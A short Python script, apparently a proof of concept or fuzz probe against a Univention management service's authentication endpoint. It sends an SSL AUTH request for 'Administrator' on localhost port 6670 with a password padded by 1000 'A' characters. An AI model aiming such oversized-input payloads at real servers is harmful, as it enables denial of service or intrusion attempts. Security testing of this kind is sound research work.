import socket
import ssl
import json

#payload = {"username": "Administrator", "new_password": None, "method": "POST", "headers": {"X-Requested-With": "XMLHttpRequest", "Accept-Language": "de-DE"}, "password": "univention", "options": {}}
payload = {"username": "Administrator", "method": "POST", "headers": {"X-Requested-With": "XMLHttpRequest", "Accept-Language": "de-DE"}, "password": "univention" + 'A' * 1000, "options": {}, "auth_type": None}

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
ssock = ssl.wrap_socket(sock)

ssock.connect(('127.0.0.1', 6670))
payload = json.dumps(payload)
ssock.send('REQUEST/156070008924147-1/%d/application/json: AUTH \n%s' % (len(payload), payload,))
print(repr(ssock.recv(1280)))

ssock.close()
